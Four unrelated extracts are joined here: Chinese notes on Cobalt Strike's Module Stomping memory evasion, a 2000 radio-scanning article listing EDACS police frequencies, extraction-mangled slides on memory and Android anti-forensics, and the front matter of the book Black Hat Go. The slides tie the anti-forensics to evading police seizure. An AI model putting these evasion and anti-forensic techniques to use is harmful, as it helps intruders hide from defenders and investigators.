我的CS笔记之- In-memory Evasion 4-5 0x00 前言 In-memory Evasion 4-5其中包含了威胁模拟的介绍,大致意思就是通过修改c2profile模仿真实APT的样 本会产生的特征行为等,也不是百分百模拟,就是模拟了一下yara规则中的静态特征,感兴趣的小伙伴 自行学习,我就不做笔记了。除了威胁模拟,视频中还介绍了cs3.11引入 的一些内存对抗新功能主要是 Module Stomping和cleanup这2个功能。这里不由感叹一句,自从CS被卖了以后的,更换了老大以 后,更新越来越不行了,还开始搞java代码混淆,class完整性校验。多把精力花在怎么进化CS上吧, @Joe Vest @Greg Darwin(ps:虽然这俩肯定是看不到这个文档的)。 言归正传,我主要记录Module Stomping和cleanup这2个功能。 0x01 Module Stomping和cleanup 我们首先回忆一下In-memory Evasion 2中的stageless payload加载过程中的: 1. 申请一个块儿内存(allocate memory) 2. 复制Stager去这一块儿内存里 3. 创建一个线程,运行这个Stager 4. 这个Stager会再次申请一块儿内存 5. Stager去下载加密的payload,写入申请的内存中 6. Stager把执行流程转递给这个加密的payload 7. 加密的payload自解密成Reflective DLL 8. 然后把执行流程传递给Reflective DLL 9. Reflective DLL 申请一块儿内存 10. 然后初始化自己在新的内存里面 11. 最后reflective DLL 调用payload的入口点函数 上面的步骤分配了2次内存,在内存中如图所示: 1-3 我们可以使用artifact kit做自定义处理,但是9-11就很麻烦,9-11是一个反射DLL这个反射dll包含2 部分,一部分是反射loader,一部分是beacon的功能,9-10就是使用反射loader来加载beacon功能的 过程。这儿也是被防御查杀拦截的重点。我开始对CS4.4新的自定义反射dll loader kit理解错误,也是这 儿,cs4.4这个自定义kit自定义的只是这个反射loader,并不包含beacon的功能,而BeaconEye的查杀 点是Beacon功能中的行为,因此cs4.4这个kit也不能直接对抗BeaconEye,这个kit并不包含自定义 Beacon功能。回归正题,我们的Module Stomping是怎么在9-11中起作用的。 我们知道反射DLL分为反射dll loader和beacon的功能,在loader加载功能的时候,我们就可以做很多事 情,Module Stomping就是在这个过程中起作用的。 我们再看看Module Stomping,具体是什么。技术很简单,就是导入一个系统上正常的DLL进入内存 中,然后替换内存内容为我们的beacon功能,这样可以避免使用虚拟内存分配函数virtualAlloc等。同时 让beacon功能看上去很像一个正常DLL。这里面存在几个问题: 导入的DLL不能太小,太小导致内存空间小,不能够完全复制我们的beacon功能进去。 同一个DLL在不同系统上的大小可能是不一样,有些dll在win10上很大,08上只有1/3大小,因此 你上线win10正常,上线08可能就crash了。 这个系统的DLL必须有导出函数,因为反射loader需要通过导出函数去找DLL在内存中的位置 当然反射loader也有一些防止出错的机制: Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 1 / 2 - Welcome to www.red-team.cn 如果配置的系统DLL不存在,会返回使用VirtualAlloc 如果配置中的DLL,已经被进程导入了,会返回使用VirtualAlloc 使用前用一定要用c2lint测试一下 当然了我们写入到内存的beacon代码也是可以开启混淆的。因为Module Stomping功能具有一定隐蔽 性,因此适合长期潜伏通道。同时这个功能也不适合高频次的操作,操作多容易出错。 我们再回到1-3步中的如果不使用artifact kit自定义,使用默认的stageless,初始化的时候就存在一次内 存申请,申请的内存在后面其实是不会使用了,但是也没有释放,因此很容易被拿去做内存扫描特征, 如果我们设置了cleanup,就会调用VirtualFree释放这个初始化过程中的内存。 我们开启这3个配置: 也是被混淆的 RWX当然也可以通过c2profile配置进行规避。 0x02 总结 这个In-memory Evasion系列视频是作者2018年录制的,也是cs3.11发布不久。回头来看对理解CS非常 有帮助,能够让我们更好的使用CS里面的PE扩展相关的配置功能。同时视频从防御着和攻击者2个角度 分析,能够让读者很好的理解为什么?当然我个人英语和技术能力有限,可能在理解的时候出现错误, 如果整个系列中有出错的地方,请各位指正。 Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 2 / 2 - Welcome to www.red-team.cn
pdf
Ericsson's EDACS Trunking http://www.signalharbor.com/ttt/00apr/index.html 1 of 7 6/18/2007 14:07 This article first appeared in the April 2000 issue of Monitoring Times. Ericsson's EDACS Trunking Motorola has several competitors in the trunked public safety radio system marketplace. One popular alternative is the Ericsson/General Electric Enhanced Digital Access Communications System, or EDACS for short. EDACS operates in VHF, UHF, 800, and 900 MHz bands, and is used by private businesses as well as public safety organizations. Second generation trunk-tracking scanners such as the Bearcat 245XLT and PRO-92 as well as publicly available computer software are capable of scanning these systems effectively. Channels Each repeater site in an EDACS system has a dedicated Control Channel that continuously transmits signaling and command information out to the mobile radios. Channel requests and other mobile messages are transmitted to the repeater on this channel as well. Listening to this channel on a normal scanner will result in just a constant buzz of digital information. Each EDACS site, in addition to the Control Channel, may have as many as 23 Working Channels. These channels carry voice and data between mobile radios and dispatch centers. From an operational perspective EDACS systems have better performance should equipment fail or interconnections be lost. If the central controller in a Motorola system fails or cannot communicate with a repeater, the repeater will revert to conventional mode, losing all ability to trunk and forcing users to share frequencies manually. EDACS, on the other hand, goes into a "failsoft" mode where trunking cards at each repeater site continue to provide basic trunking features. Another difference between Motorola and EDACS is how channels are assigned. Control messages in a Motorola system use a FCC channel number to indicate the specific radio frequency to use, so listeners can enter those frequencies into trunk-tracking scanners in any order. EDACS, however, assigns each radio frequency a Logical Channel Number (LCN). These LCNs are programmed into each radio in the system, and the control channel uses the LCN to instruct a radio to tune to the corresponding frequency. What this means is that a listener must enter EDACS frequencies in LCN order in order to track the system properly. Talkgroups EDACS talkgroups are divided into agencies. Each agency has a number of fleets, and each of these fleets has a number of subfleets. This hierarchy is similar to a Motorola Type I system, although there are no limitations on the number of individual radios in each subfleet. This Agency-Fleet-Subfleet scheme is abbreviated AFS. Ericsson's EDACS Trunking http://www.signalharbor.com/ttt/00apr/index.html 2 of 7 6/18/2007 14:07 EDACS uses 11 binary digits (bits) to identify a talkgroup. These 11 bits are divided into three pieces, one piece for the Agency, one for the Fleet, and one for the Subfleet. Each of these pieces uses a certain number of the 11 total bits to represent the identifying number. Each EDACS system may divide these bits up differently, but the most common arrangement for public safety agencies is four bits for the Agency, four bits for the Fleet, and the remaining three bits for Subfleet. This is represented by the last entry in the table, which shows a maximum of 16 Agencies, 16 Fleets per Agency, and 8 Subfleets per Fleet. POSSIBLE EDACS AFS ASSIGNMENTS AGENCIES FLEETS SUBFLEETS 2 4 256 2 8 128 2 16 64 2 32 32 4 32 16 8 8 32 8 16 16 16 16 8 The AFS is usually shown in the format AA-FFS where AA is the Agency, FF is the Fleet and S is the Subfleet. Newer trunk-tracking scanners that support EDACS default to displaying talkgroups in AFS format rather than a simple decimal number. The AFS format makes it easier Ericsson's EDACS Trunking http://www.signalharbor.com/ttt/00apr/index.html 3 of 7 6/18/2007 14:07 to scan entire Agencies and/or Fleets without needing to enter each individual talkgroup. The Bearcat 245XLT in particular has a feature called XPAND which is designed to do just that. Some talkgroups have a special function. The first talkgroup in the system, 00-000, is known as "System All-Call." Every radio in the system will hear a message sent to this talkgroup. Similarly, an "Agent All-Call" is the first talkgroup in an Agency, where the Fleet and Subfleet are both zero. For instance, a transmission to talkgroup 03-000 would be heard by all radios assigned to that Agency. There is also a "Fleet All-Call" which is the first talkgroup in each fleet. A transmission to talkgroup 04-080, for example, would be heard by every radio in Fleet 8 of Agency 4. Ocean City, Maryland This resort town on Maryland's Eastern Shore operates an EDACS for several city agencies through two 800 MHz towers. The primary site has eleven repeaters while a backup site a few miles away has three. LCN Frequency 1 859.9875 2 853.9625 3 855.2375 4 860.9875 5 856.7375 6 857.7375 7 858.7375 8 859.7375 9 860.7375 10 859.2375 11 857.2375 TALKGROUPS POLICE 02-021 Boardwalk 02-022 Patrol 02-023 Tactical 2 02-024 Channel 4 02-025 Tactical 1 02-026 Channel 6 02-027 Channel 7 02-030 Channel 8 FIRE/EMS Ericsson's EDACS Trunking http://www.signalharbor.com/ttt/00apr/index.html 4 of 7 6/18/2007 14:07 02-041 Fire/EMS Dispatch 02-042 Fire Operations 1 02-043 Fire Operations 2 02-044 EMS Operations 02-045 Trooper/Helicopter 02-046 US Coast Guard 02-047 Worcester County 02-050 Fire Marshalls 02-051 Emergency 02-052 Beach Patrol Channel 1 PUBLIC WORKS 02-061 Public Works 1 02-062 Public Works 2 02-063 Solid Waste 02-064 Recycling 02-065 Transportation 1 02-066 Transportation 2 02-067 Ocean City Airport 02-070 Building Inspectors 02-077 Wastewater Brevard County, Florida Florida's "Space Coast," home to Merritt Island, Cape Canaveral, and the historic Launch Complex 39, lies within Brevard County. The county operates an interconnected EDACS system through 400 foot towers in Titusville, Rockledge, and Palm Bay. NORTH CENTRAL SOUTH LCN Titusville Rockledge Palm Bay 1 866.2125 866.0750 866.1250 2 866.8250 866.3250 866.5875 3 868.1625 866.6250 867.0375 4 868.7375 868.5375 868.0750 5 866.2625 868.7875 866.2500 6 866.5500 866.1875 868.3750 7 868.4125 868.6000 868.5625 8 868.6875 868.8500 868.8125 9 866.7625 867.1250 866.3000 10 867.2625 867.3750 866.3750 Ericsson's EDACS Trunking http://www.signalharbor.com/ttt/00apr/index.html 5 of 7 6/18/2007 14:07 11 867.7625 867.6250 866.6750 12 868.5125 867.8750 866.9000 13 855.2375 - 867.5375 14 851.0125 - 866.5625 15 - - 868.6250 16 - - 856.7625 17 - - 857.7625 18 - - 858.7625 19 - - 859.7625 20 - - 860.7625 One channel at each site is assigned as a Control Channel. Because any channel in an EDACS system has the capability of operating as a control channel, the assignment may change. The southern site, which includes the city of Melbourne, has more frequencies due to a higher level of activity. Telephone interconnect activity appears to be limited to Channel 2 frequencies. Illinois State Police The Illinois State Police in the District Chicago area operate two interconnected EDACS systems for a number of local, state, and federal agencies. District Chicago was formed five years ago out of the old District 3 (Chicago) and District 4 (Crestwood). Several sites in Cook County and surrounding suburbs provide coverage throughout Chicagoland. The two systems are divided into North and South, with the Eisenhower Expressway as the dividing line. Each has ten channels. LCN North South 1 866.4625 866.4125 2 866.8875 866.4375 3 867.9625 866.9375 4 866.3875 867.4125 5 867.4625 867.9375 6 867.8875 867.9125 7 868.3875 868.4375 8 868.4625 868.4125 9 868.8875 868.9375 10 868.9625 868.9125 The Illinois State Police operates three patrols in the District, North ("Nora"), Middle ("Mary") and South ("Sam"). Argonne is a National Laboratory operated by the Department of Energy located about 25 miles southwest of Chicago. 06-021 Illinois Department of Transportation 06-022 Chicago Fire Department 06-047 North Dispatch Ericsson's EDACS Trunking http://www.signalharbor.com/ttt/00apr/index.html 6 of 7 6/18/2007 14:07 06-053 Dispatch 08-021 Detail/Surveillance 08-022 North Dispatch 08-024 North Car to Car 08-041 Middle Dispatch 08-044 Middle Car to Car 08-061 South Dispatch 08-064 South Car to Car 08-094 Gangs Middle 08-114 Gangs North 08-116 Gangs South 08-121 Priority 08-122 Car to Car 08-123 Surveillance North 08-124 Surveillance South 08-134 Air 1 09-007 DuPage Fire Protection District 09-010 DuPage Fire Protection District 09-031 Drug Enforcement Administration 09-054 Illinois Department of Corrections 14-021 Radio Technicians 14-056 Radio Technicians 14-061 Argonne Fire Department 14-062 Argonne Fire Department 14-063 Argonne Security Dallas/Fort Worth Airport, Texas The Dallas/Fort Worth Airport, home to American Airlines, uses an EDACS system for a variety of ground operations including security, fire, emergency medical services (EMS) and transportation. LCN FREQUENCY 1 866.0875 2 866.5875 3 867.5875 4 868.0875 5 868.4625 6 866.4625 7 866.9875 8 867.4625 9 868.7125 Ericsson's EDACS Trunking http://www.signalharbor.com/ttt/00apr/index.html 7 of 7 6/18/2007 14:07 10 868.9375 00-157 Fire/EMS Alert Operations 02-021 Police 1 02-022 Police Meet Me 02-023 Police 2 02-026 Police 7 04-021 Operations (Primary) 04-023 Operations 04-024 Operations 04-061 Maintenance (Primary) 04-064 Electrical Maintenance 04-065 Bird Operations 04-070 Operations 04-101 Trains (Primary) 04-102 Transit 04-104 Transit 04-106 Transit 06-023 EMS Response 06-033 Police 10 06-041 Fire Response 06-044 Fire Response 06-045 Fire Response 06-046 Fire Response 06-047 Police 5 That's all for this month. I welcome comments, corrections, additional lisitings, and questions via electronic mail at dan@decodesystems.com. There is also more radio-related material on my website at http://www.decodesystems.com. Until next month, happy monitoring! Comments to Dan Veeneman Click here for the index page. Click here for the main page.
pdf
An#$Forensics,AF, @dualcoremusic, mov$eax,$0x6b;$int$0x80$ •  Rapper, •  Some,other,stuff,idk, Overview, •  Memory,Forensics,vs,SMC*, – Windows, – Linux, •  Android,(An#$)Forensics, •  Fun,with,SD,cards, Disclaimers, •  !Professional, •  TROLOLOLOL, •  !Expert,/,YMMV, •  DO,ILLEGAL,THINGS, , Memory,Forensics, •  Focus,on,soSware,protec#on,(malware), •  Persist,,thwart,detec#on, •  Inhibit,acquisi#on,and,analysis, , Memory,Forensics, •  All,the,cool,stuff,happens,in,memory, •  Loading,from,disk, •  Why,can’t,I,hold,all,these,sec#ons?, , Memory,Forensics, •  No,longer,referenced,,no,longer,needed, •  Analysis,tools,madbro, •  Lots,of,fun,to,be,had, , Memory,Forensics, •  Demo, – thekeysarelikerightnexZoeachother.exe, •  Rekall,(winpmem), , <tatclass> YOU ALL SUCK DICK <tatclass> er. <tatclass> hi. <andy\code> A common typo. <tatclass> the keys are like right next to each other. Memory,Forensics, •  PE,header,not,needed,aSer,loading, •  Zero,the,header,(RtlZeroMemory), •  Process,con#nues,to,run, •  Analysis,tools,fail, •  Win:,,XP,,,,,,10, , Memory,Forensics, •  Completeness:, , winpmem92.1.post4.exe$9o$lol.aff4$ $ "C:\Program$Files\Rekall\rekal.exe"$9f$lol.aff4$ $ >$procdump$proc_regex="thekeys",$$ $$$$dump_dir="C:/Users/int0x80/Desktop/"$ Memory,Forensics, •  Demo, – thekeysarelikerightnexZoeachother$linux, •  LiME, •  Vola#lity, , Memory,Forensics, •  ELF,header,not,needed,aSer,loading, •  Zero,the,header,(memset), •  Process,con#nues,to,run, •  Analysis,tools,fail, , Memory,Forensics, •  Completeness:, , git$clone$https://github.com/504ensicsLabs/LiME$ $ cd$LiME/src/$ $ make$ $ sudo$insmod$./lime9$(uname$–r).ko$\$ $$"path=/tmp/lol.lime$format=lime"$ Memory,Forensics, •  Completeness:, , git$clone$https://github.com/ volatilityfoundation/volatility$ $ cd$volatility/$ $ sudo$python$setup.py$install$ Memory,Forensics, •  Completeness:, , cd$tools/linux/$ $ make$ $ head$module.dwarf$ $ .debug_info$ ...$ Memory,Forensics, •  Completeness:, , sudo$zip$\$$ $$volatility/plugins/overlays/linux/Ubuntu1604.zip$\$ $$tools/linux/module.dwarf$\$ $$/boot/System.map9$(uname$9r)$ $ python$vol.py$99info$|$grep$^Linux$ Volatility$Foundation$Volatility$Framework$2.5$ LinuxUbuntu1604x64$9$A$Profile$for$Linux$Ubuntu1604$ x64$ Memory,Forensics, •  Completeness:, , python$vol.py$–f$/tmp/lol.lime$\$ $$99profile=LinuxUbuntu1604x64$linux_pslist$ $ python$vol.py$–f$/tmp/lol.lime$\$ $$99profile=LinuxUbuntu1604x64$linux_procdump$\$ $$9D$/tmp$9p$<PID>$ Android,(An#$)Forensics, •  Use,Encryp#on$ Android,(An#$)Forensics, •  Use,Encryp#on, •  Also,"Use,Tor,,Use,Signal", Android,(An#$)Forensics, •  Use,Encryp#on, •  Also,"Use,Tor,,Use,Signal", Android,(An#$)Forensics, •  Use,Encryp#on, •  Also,"Use,Tor,,Use,Signal", Android,(An#$)Forensics, •  Use,Encryp#on, •  Also,"Use,Tor,,Use,Signal", Android,(An#$)Forensics, •  Use,Encryp#on, •  Also,"Use,Tor,,Use,Signal", Android,(An#$)Forensics, •  Use,Encryp#on, •  But,first,,a,word,about,Android,forensics, Android,Forensics, •  Not,the,easiest, •  Acquisi#on/Imaging,is,a,pain, – Numerous,caveats, – CONFIG_MODULES=y$ – Cross$compile,nc$ – Different,interfaces, Android,Forensics, •  Acquisi#on/Imaging,caveats:, – Power, – Decrypted, – Unlocked$ – Rooted, – USB,Debugging, Android,Forensics, •  Memory,acquisi#on/imaging,caveats:, – Power, – Decrypted, – Unlocked$ – Rooted, – USB,Debugging, – CONFIG_MODULES=y, Android,Forensics, •  NAND,acquisi#on,done,with,nc$ , adb$devices$ adb$push$./nc$/sdcard/nc$ adb$forward$tcp:4444$tcp:4444$ adb$shell$ su$ cp$/sdcard/nc$/dev/nc$$ chmod$777$/dev/nc$ Android,Forensics, •  NAND,acquisi#on,done,with,nc$ , dd$if=/dev/block/mmcblk0$bs=65535$|$\$ /dev/nc$9nvlp$4444,, nc$9nv$127.0.0.1$4444$>$image.nand$ sha256sum$image.nand$ cp$9a$image.nand$image.nand.copy,, sha256sum$image.nand*$ $ Android,Forensics, •  NAND,exposed,via,different,interfaces, •  Check,/proc/partitions$ – /dev/block/mmcblk*, – /dev/mtd/mtd*, – /dev/mtdblock*$ – /dev/emmc*, – /*/*/*/*$no,$comment, Android,Forensics, •  Logical,acquisi#on,is,easier, – adb$pull$/$./dump$ – adb$shell$dumpsys$&>$./dumpsys.log, – adb$backup$9apk$9obb$9shared$$ $9all$9system$ $ java$9jar$abe.jar$unpack$ $$$$<backup.ab>$<backup.tar>$[pin]$ , Android,Forensics, •  Logical,acquisi#on,is,easier, – adb$shell$dumpstate$\$ $$&>$./dumpstate.log, – adb$bugreport$&>$./bugreport.log$ – aflogical9ose$ Android,Forensics, •  Complete,forensic,acquisi#on/analysis,sucks, •  Likely,violate,tradi#onal,methodology, •  Easy,to,disrupt,:), Android,An#$Forensics, •  Use,Encryp#on, •  Example,scenarios:,, – Raided,by,LE, – Deploying,hardware,implant, – e\_()_/e, Android,An#$Forensics, •  Use,Encryp#on, •  Easiest,solu#on:, – Power,down,device, – Everything,encrypted, – Lawyer,up, Android,An#$Forensics, •  Power,down,if,tampering,detected, •  Leverage,device,sensors, – Bluetooth, – Cellular, – GPS, – Mo#on, – Power, – WiFi, Android,An#$Forensics, •  Android,app:,Duck,The,Police, •  Device,asser#ons:, – Encrypted, – Rooted, – Magnets, – Sensors, , •  DEMO, Android,An#$Forensics, •  Use,Encryp#on, •  Example,scenarios:,, – Raided,by,LE, – Deploying,hardware,implant, – e\_()_/e, •  WIN, SD,Cards, •  CTF,Time!, SD,Cards, •  [SPOILER,PREVENTION,INTENSIFIES], SD,Cards, •  sdtool$ •  Lock/Unlock,device, •  Physical,lock,disengaged, •  Writes,happen,in,memory, •  Nothing,wriZen,to,device, •  NO,LOGS,,NO,CRIME, SD,Cards, •  sdtool,caveats:, – Direct,access,to,MMC,device,required, – Some,USB,hubs,only,expose,mass,storage, •  WON'T,WORK, , SD,Cards, •  Example,scenarios:, – Hardware,implant, – PORTAL,of,Pi,(@thegrugq), •  hZps://github.com/int0x80/notes/wiki/Linux:$PORTAL$of$Pi,, – AZack,VM, , SD,Cards, •  sdtool:,hZp://www.bertold.org/sdtool/, •  Edit,Makefile,to,use,clang,instead,of,gcc, , sudo$./sdtool$/dev/mmcblk0$status$ sudo$./sdtool$/dev/mmcblk0$lock$ sudo$./sdtool$/dev/mmcblk0$unlock$ Ques#ons?, @dualcoremusic, dualcoremusic@gmail.com,
pdf
ContentsinDetail 1. CoverPage 2. TitlePage 3. CopyrightPage 4. AbouttheAuthors 5. BRIEFCONTENTS 6. CONTENTSINDETAIL 7. FOREWORD 8. ACKNOWLEDGMENTS 9. INTRODUCTION 1. WhoThisBookIsFor 2. WhatThisBookIsn’t 3. WhyUseGoforHacking? 4. WhyYouMightNotLoveGo 5. ChapterOverview 10. 1GOFUNDAMENTALS 1. SettingUpaDevelopmentEnvironment 2. UnderstandingGoSyntax 3. Summary 11. 2TCP,SCANNERS,ANDPROXIES 1. UnderstandingtheTCPHandshake 2. BypassingFirewallswithPortForwarding 3. WritingaTCPScanner 4. BuildingaTCPProxy 5. Summary 12. 3HTTPCLIENTSANDREMOTEINTERACTIONWITHTOOLS 1. HTTPFundamentalswithGo 2. BuildinganHTTPClientThatInteractswithShodan 3. InteractingwithMetasploit 4. ParsingDocumentMetadatawithBingScraping 5. Summary 13. 4HTTPSERVERS,ROUTING,ANDMIDDLEWARE 1. HTTPServerBasics 2. CredentialHarvesting 3. KeyloggingwiththeWebSocketAPI 4. MultiplexingCommand-and-Control 5. Summary 14. 5EXPLOITINGDNS 1. WritingDNSClients 2. WritingDNSServers 3. Summary 15. 6INTERACTINGWITHSMBANDNTLM 1. TheSMBPackage 2. UnderstandingSMB 3. GuessingPasswordswithSMB 4. ReusingPasswordswiththePass-the-HashTechnique 5. RecoveringNTLMPasswords 6. Summary 16. 7ABUSINGDATABASESANDFILESYSTEMS 1. SettingUpDatabaseswithDocker 2. ConnectingandQueryingDatabasesinGo 3. BuildingaDatabaseMiner 4. PillagingaFilesystem 5. Summary 17. 8RAWPACKETPROCESSING 1. SettingUpYourEnvironment 2. IdentifyingDevicesbyUsingthepcapSubpackage 3. LiveCapturingandFilteringResults 4. SniffingandDisplayingCleartextUserCredentials 5. PortScanningThroughSYN-floodProtections 6. Summary 18. 9WRITINGANDPORTINGEXPLOITCODE 1. CreatingaFuzzer 2. PortingExploitstoGo 3. CreatingShellcodeinGo 4. Summary 19. 10GOPLUGINSANDEXTENDABLETOOLS 1. UsingGo’sNativePlug-inSystem 2. BuildingPlug-insinLua 3. Summary 20. 11IMPLEMENTINGANDATTACKINGCRYPTOGRAPHY 1. ReviewingBasicCryptographyConcepts 2. UnderstandingtheStandardCryptoLibrary 3. ExploringHashing 4. AuthenticatingMessages 5. EncryptingData 6. Brute-ForcingRC2 7. Summary 21. 12WINDOWSSYSTEMINTERACTIONANDANALYSIS 1. TheWindowsAPI’sOpenProcess()Function 2. Theunsafe.PointeranduintptrTypes 3. PerformingProcessInjectionwiththesyscallPackage 4. ThePortableExecutableFile 5. UsingCwithGo 6. Summary 22. 13HIDINGDATAWITHSTEGANOGRAPHY 1. ExploringthePNGFormat 2. ReadingImageByteData 3. WritingImageByteDatatoImplantaPayload 4. EncodingandDecodingImageByteDatabyUsingXOR 5. Summary 6. AdditionalExercises 23. 14BUILDINGACOMMAND-AND-CONTROLRAT 1. GettingStarted 2. DefiningandBuildingthegRPCAPI 3. CreatingtheServer 4. CreatingtheClientImplant 5. BuildingtheAdminComponent 6. RunningtheRAT 7. ImprovingtheRAT 8. Summary 24. Index 1. i 2. ii 3. iii 4. iv 5. v 6. vi 7. vii 8. viii 9. ix 10. x 11. xi 12. xii 13. xiii 14. xiv 15. xv 16. xvi 17. xvii 18. xviii 19. xix 20. xx 21. xxi 22. xxii 23. xxiii 24. xxiv 25. xxv 26. xxvi 27. 1 28. 2 29. 3 30. 4 31. 5 32. 6 33. 7 34. 8 35. 9 36. 10 37. 11 38. 12 39. 13 40. 14 41. 15 42. 16 43. 17 44. 18 45. 19 46. 20 47. 21 48. 22 49. 23 50. 24 51. 25 52. 26 53. 27 54. 28 55. 29 56. 30 57. 31 58. 32 59. 33 60. 34 61. 35 62. 36 63. 37 64. 38 65. 39 66. 40 67. 41 68. 42 69. 43 70. 44 71. 45 72. 46 73. 47 74. 48 75. 49 76. 50 77. 51 78. 52 79. 53 80. 54 81. 55 82. 56 83. 57 84. 58 85. 59 86. 60 87. 61 88. 62 89. 63 90. 64 91. 65 92. 66 93. 67 94. 68 95. 69 96. 70 97. 71 98. 72 99. 73 100. 74 101. 75 102. 76 103. 77 104. 78 105. 79 106. 80 107. 81 108. 82 109. 83 110. 84 111. 85 112. 86 113. 87 114. 88 115. 89 116. 90 117. 91 118. 92 119. 93 120. 94 121. 95 122. 96 123. 97 124. 98 125. 99 126. 100 127. 101 128. 102 129. 103 130. 104 131. 105 132. 106 133. 107 134. 108 135. 109 136. 110 137. 111 138. 112 139. 113 140. 114 141. 115 142. 116 143. 117 144. 118 145. 119 146. 120 147. 121 148. 122 149. 123 150. 124 151. 125 152. 126 153. 127 154. 128 155. 129 156. 130 157. 131 158. 132 159. 133 160. 134 161. 135 162. 136 163. 137 164. 138 165. 139 166. 140 167. 141 168. 142 169. 143 170. 144 171. 145 172. 146 173. 147 174. 148 175. 149 176. 150 177. 151 178. 152 179. 153 180. 154 181. 155 182. 156 183. 157 184. 158 185. 159 186. 160 187. 161 188. 162 189. 163 190. 164 191. 165 192. 166 193. 167 194. 168 195. 169 196. 170 197. 171 198. 172 199. 173 200. 174 201. 175 202. 176 203. 177 204. 178 205. 179 206. 180 207. 181 208. 182 209. 183 210. 184 211. 185 212. 186 213. 187 214. 188 215. 189 216. 190 217. 191 218. 192 219. 193 220. 194 221. 195 222. 196 223. 197 224. 198 225. 199 226. 200 227. 201 228. 202 229. 203 230. 204 231. 205 232. 206 233. 207 234. 208 235. 209 236. 210 237. 211 238. 212 239. 213 240. 214 241. 215 242. 216 243. 217 244. 218 245. 219 246. 220 247. 221 248. 222 249. 223 250. 224 251. 225 252. 226 253. 227 254. 228 255. 229 256. 230 257. 231 258. 232 259. 233 260. 234 261. 235 262. 236 263. 237 264. 238 265. 239 266. 240 267. 241 268. 242 269. 243 270. 244 271. 245 272. 246 273. 247 274. 248 275. 249 276. 250 277. 251 278. 252 279. 253 280. 254 281. 255 282. 256 283. 257 284. 258 285. 259 286. 260 287. 261 288. 262 289. 263 290. 264 291. 265 292. 266 293. 267 294. 268 295. 269 296. 270 297. 271 298. 272 299. 273 300. 274 301. 275 302. 276 303. 277 304. 278 305. 279 306. 280 307. 281 308. 282 309. 283 310. 284 311. 285 312. 286 313. 287 314. 288 315. 289 316. 290 317. 291 318. 292 319. 293 320. 294 321. 295 322. 296 323. 297 324. 298 325. 299 326. 300 327. 301 328. 302 329. 303 330. 304 331. 305 332. 306 333. 307 334. 308 335. 309 336. 310 337. 311 338. 312 339. 313 340. 314 341. 315 342. 316 343. 317 344. 318 345. 319 346. 320 347. 321 348. 322 349. 323 350. 324 351. 325 352. 326 353. 327 354. 328 355. 329 356. 330 357. 331 358. 332 359. 333 360. 334 361. 335 362. 336 363. 337 364. 338 365. 339 366. 340 367. 341 368. 342 BLACKHATGO GoProgrammingforHackersand Pentesters byTomSteele,ChrisPatten,andDanKottmann SanFrancisco BLACKHATGO.Copyright©2020byTomSteele,ChrisPatten,andDan Kottmann. Allrightsreserved.Nopartofthisworkmaybereproducedortransmittedinany formorbyanymeans,electronicormechanical,includingphotocopying, recording,orbyanyinformationstorageorretrievalsystem,withouttheprior writtenpermissionofthecopyrightownerandthepublisher. ISBN-10:1-59327-865-9 ISBN-13:978-1-59327-865-6 Publisher:WilliamPollock ProductionEditor:LaurelChun CoverIllustration:JonnyThomas InteriorDesign:OctopodStudios DevelopmentalEditors:FrancesSauxandZachLebowski TechnicalReviewer:AlexHarvey Copyeditor:SharonWilkey Compositor:DanielleFoster Proofreader:BrookeLittrel Indexer:BethNauman-Montana Forinformationondistribution,translations,orbulksales,pleasecontactNoStarch Press,Inc.directly: NoStarchPress,Inc. 2458thStreet,SanFrancisco,CA94103 phone:1.415.863.9900;info@nostarch.com www.nostarch.com LibraryofCongressCataloging-in-PublicationData Names:Steele,Tom(SecurityConsultant),author.|Patten,Chris,author. |Kottmann,Dan,author. Title:BlackHatGo:Goprogrammingforhackersandpentesters/Tom Steele,ChrisPatten,andDanKottmann. Description:SanFrancisco:NoStarchPress,2020.|Includes bibliographicalreferencesandindex.|Summary:"AguidetoGothat beginsbyintroducingfundamentalslikedatatypes,controlstructures, anderrorhandling.ProvidesinstructiononhowtouseGofortaskssuch assniffingandprocessingpackets,creatingHTTPclients,andwriting exploits."--Providedbypublisher. Identifiers:LCCN2019041864(print)|LCCN2019041865(ebook)|ISBN 9781593278656|ISBN9781593278663(ebook) Subjects:LCSH:Penetrationtesting(Computersecurity)|Go(Computer programlanguage) Classification:LCCQA76.9.A25S7392020(print)|LCCQA76.9.A25(ebook) |DDC005.8--dc23 LCrecordavailableathttps://lccn.loc.gov/2019041864 LCebookrecordavailableathttps://lccn.loc.gov/2019041865 NoStarchPressandtheNoStarchPresslogoareregisteredtrademarksofNo StarchPress,Inc.Otherproductandcompanynamesmentionedhereinmaybethe trademarksoftheirrespectiveowners.Ratherthanuseatrademarksymbolwith everyoccurrenceofatrademarkedname,weareusingthenamesonlyinan editorialfashionandtothebenefitofthetrademarkowner,withnointentionof infringementofthetrademark. Theinformationinthisbookisdistributedonan“AsIs”basis,withoutwarranty. Whileeveryprecautionhasbeentakeninthepreparationofthiswork,neitherthe authorsnorNoStarchPress,Inc.shallhaveanyliabilitytoanypersonorentity withrespecttoanylossordamagecausedorallegedtobecauseddirectlyor indirectlybytheinformationcontainedinit. ABOUTTHEAUTHORS TomSteelehasbeenusingGosincetheversion1releasein 2012andwasoneofthefirstinhisfieldtoleveragethe languageforoffensivetooling.Heisamanagingprincipal researchconsultantatAtredisPartnerswithover10yearsof experienceperformingadversarialandresearch-basedsecurity assessments.Tomhaspresentedandconductedtraining coursesatnumerousconferences,includingDefcon,Black Hat,DerbyCon,andBSides.Outsideoftech,Tomisalsoa BlackBeltinBrazilianjiujitsuwhocompetesregularly,both regionallyandnationally.Heownsandoperateshisown jiujitsuacademyinIdaho. ChrisPattenisthefoundingpartnerandleadconsultantof STACKTITAN,aspecializedadversarialservicessecurity consultancy.Chrishasbeenpracticinginthesecurityindustry formorethan25yearsinvariouscapacities.Hespentthelast decadeconsultingforanumberofcommercialand governmentorganizationsondiversesecurityissues,including adversarialoffensivetechniques,threathuntingcapabilities, andmitigationstrategies.Chrisspenthislatesttenureleading oneofNorthAmerica’slargestadvancedadversarialteams. Priortoformalconsulting,Chrishonorablyservedinthe USAirForce,supportingthewar-fightingeffort.Heactively servedwithintheDepartmentofDefenseSpecialOperations IntelligencecommunityatUSSOCOM,consultingforSpecial OperationsGroupsonsensitivecyberwarfareinitiatives. FollowingChris’smilitaryservice,heheldleadarchitect positionsatnumerousFortune500telecommunication companies,workingwithpartnersinaresearchcapacity. DanKottmannisafoundingpartnerandleadconsultantof STACKTITAN.Hehasplayedanintegralroleinthegrowth anddevelopmentofthelargestNorthAmericanadversarial 